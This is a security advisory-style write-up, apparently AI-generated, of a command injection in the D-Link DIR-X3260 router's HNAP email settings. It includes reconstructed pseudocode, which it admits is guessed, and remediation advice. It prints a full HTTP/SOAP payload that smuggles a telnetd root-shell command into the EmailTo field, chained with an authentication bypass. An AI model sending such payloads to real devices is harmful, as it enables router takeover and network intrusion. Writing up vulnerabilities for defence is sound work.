CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

CVE-2023-44424
CVSS 8.0|EPSS 0.09%

You've Got Mail (and a Root Shell): D-Link DIR-X3260 Command Injection

Amit Schendel
Amit Schendel
Senior Security Researcher•May 3, 2024•5 min read
PoC AvailableNot in KEV

Executive Summary (TL;DR)

Critical OS Command Injection in the `prog.cgi` binary of D-Link DIR-X3260 routers. Attackers on the local network (LAN/Wi-Fi) can inject shell commands via the `EmailTo` parameter in `SetSysEmailSettings`. Frequently chained with CVE-2023-44420 to bypass authentication entirely.

A classic tale of SOHO router insecurity featuring the D-Link DIR-X3260. By abusing the Home Network Administration Protocol (HNAP), an attacker can turn a simple configuration request for email notifications into full root remote code execution. While nominally authenticated, this flaw is practically open season when chained with a sibling authentication bypass.

The Hook: HNAP - Have No Actual Protection?

If you've spent any time poking at D-Link routers over the last decade, you've met HNAP (Home Network Administration Protocol). Originally developed by Pure Networks (acquired by Cisco, then abandoned to the annals of history), it's a SOAP-based protocol that allows management of network devices.

On the D-Link DIR-X3260, HNAP is handled by a binary affectionately named prog.cgi. This binary is the nerve center for the router's web interface, handling everything from changing your Wi-Fi password to setting up VPNs. It listens on ports 80 and 443, waiting for XML envelopes that tell it what to do.

Why is this juicy? Because prog.cgi runs as root. It has to, in order to modify system configurations, iptables, and network interfaces. If you can trick this binary into doing your bidding, you don't just compromise the router; you own the gateway to the entire network.

The Flaw: A Classic Case of `system()` abuse

The vulnerability (CVE-2023-44424) hides inside the SetSysEmailSettings action. As the name suggests, this function allows the user to configure the router to send email notifications—perhaps logs or security alerts. It takes parameters like <EmailTo>, <EmailFrom>, and <SMTPServer>.

Under the hood, the router needs to actually send that email. Instead of using a dedicated library like libcurl or strictly defined IPC, the developers took the path of least resistance: they construct a shell command string and pass it to a system execution function (likely system() or popen()).

The fatal error here is a complete lack of input sanitization. The code blindly trusts the user-supplied <EmailTo> field. It concatenates this string directly into a command line buffer. This is the embedded systems equivalent of leaving your front door key under the mat, except the mat is made of glass and the key is a neon sign saying "Hack Me."

The Code: Decompilation Analysis

Since this is closed-source firmware, we don't have a git commit to point at. However, reverse engineering the prog.cgi binary (MIPS or ARM architecture usually) reveals the logic flow. Here is a reconstruction of the vulnerable C-pseudocode based on the behavior:

// Pseudocode reconstruction of the vulnerability
void SetSysEmailSettings(char *xml_input) {
    char email_to[256];
    char command_buffer[1024];
 
    // 1. Parse XML (simplified)
    // The router extracts the value inside <EmailTo> tags
    GetXMLValue(xml_input, "EmailTo", email_to);
 
    // 2. The Vulnerability: Unsafe string formatting
    // The developer assumes email_to is just an email address.
    // They fail to sanitize metacharacters like ; | & $()
    sprintf(command_buffer, 
            "/usr/sbin/sendmail -t %s -f noreply@dlink.com", 
            email_to);
 
    // 3. Execution
    // If email_to contains "; telnetd;", the command becomes:
    // "/usr/sbin/sendmail -t ; telnetd; -f noreply@dlink.com"
    system(command_buffer);
}

[!WARNING] The Root Cause: The use of sprintf followed by system is the smoking gun. In modern secure coding, one should use execve() which treats arguments as data, not code. By passing the string to a shell, the router forces the OS to interpret special characters.

The Exploit: Chaining for the Win

Technically, accessing SetSysEmailSettings requires authentication. You need a valid HNAP_AUTH cookie. A vendor might argue, "Well, you need admin credentials to exploit this, so it's low risk."

Enter CVE-2023-44420. This is a companion vulnerability discovered by the same researcher (Nicholas Zubrisky). It's an authentication bypass in the same prog.cgi binary caused by a flaw in how the router validates login tokens.

The Attack Chain:

  1. Bypass Auth: Send a crafted request to prog.cgi to bypass the login check (CVE-2023-44420).
  2. Inject Command: Use the access to call SetSysEmailSettings with a malicious payload (CVE-2023-44424).

The Payload:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
SOAPACTION: "http://purenetworks.com/HNAP1/SetSysEmailSettings"
Cookie: HNAP_AUTH=[BYPASS_TOKEN]
Content-Type: text/xml
 
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SetSysEmailSettings xmlns="http://purenetworks.com/HNAP1/">
      <!-- The Injection Point -->
      <EmailTo>admin@example.com; /usr/sbin/telnetd -p 1337 -l /bin/sh;</EmailTo>
      <EmailFrom>pwned@dlink.com</EmailFrom>
      <SMTPServer>127.0.0.1</SMTPServer>
    </SetSysEmailSettings>
  </soap:Body>
</soap:Envelope>

When the router processes this, it spawns a Telnet daemon on port 1337 rooted to /bin/sh. The attacker connects and enjoys full control.

The Impact: Why Panic?

Because the vulnerability exists in a router, the impact is severe. This isn't just about compromising a single server; it's about owning the network edge.

  • Man-in-the-Middle (MitM): With root access, an attacker can modify DNS settings (e.g., dnsmasq config) to redirect traffic to phishing sites.
  • Botnet Recruitment: This device is a prime candidate for botnets like Mirai or Mozi. The attacker can download a binary payload, persist it, and use your bandwidth for DDoS attacks.
  • Lateral Movement: The router has visibility into all connected devices. An attacker can use tcpdump (often present on these embedded Linux builds) to sniff traffic or launch attacks against internal workstations.

The CVSS score is 8.0 (High), but strictly speaking, if you are on the Wi-Fi (AV:A), it's Game Over.

The Fix: Better Late Than Never

D-Link patched this in firmware version v1.03B02. If you are running anything older (e.g., v1.02), you are vulnerable.

For Developers: The lesson here is simple. Never use system() with user input. If you must spawn a subprocess, use execve family functions where arguments are passed as an array of strings, preventing shell interpretation.

For Users: Update your firmware immediately. If you can't update, disable remote management and ensure your Wi-Fi password is strong enough to keep the neighbors out, as this attack requires network adjacency.

Official Patches

D-LinkD-Link Security Announcement SAP10365

Technical Appendix

CVSS Score
8.0/ 10
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.09%
Top 100% most exploited

Affected Systems

D-Link DIR-X3260 (EXO AX3200 Wi-Fi 6 Router)

Affected Versions Detail

ProductAffected VersionsFixed Version
DIR-X3260
D-Link
<= 1.02B021.03B02
AttributeDetail
CWE IDCWE-78
Attack VectorAdjacent (AV:A)
CVSS8.0 (High)
ImpactRemote Code Execution (Root)
Componentsprog.cgi / HNAP
Exploit StatusPoC Available (Theoretical)

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-78
OS Command Injection

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Exploit Resources

Known Exploits & Detection

ZDIOriginal advisory by Nicholas Zubrisky

Vulnerability Timeline

Vulnerability Timeline

ZDI publishes advisory ZDI-23-1522
2023-10-18
D-Link releases firmware patch v1.03B02
2023-10-18

References & Sources

  • [1]ZDI Advisory ZDI-23-1522
  • [2]MITRE CVE Entry
Related Intelligence
CVE-2023-44420CVE-2023-44425CVE-2023-44426

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.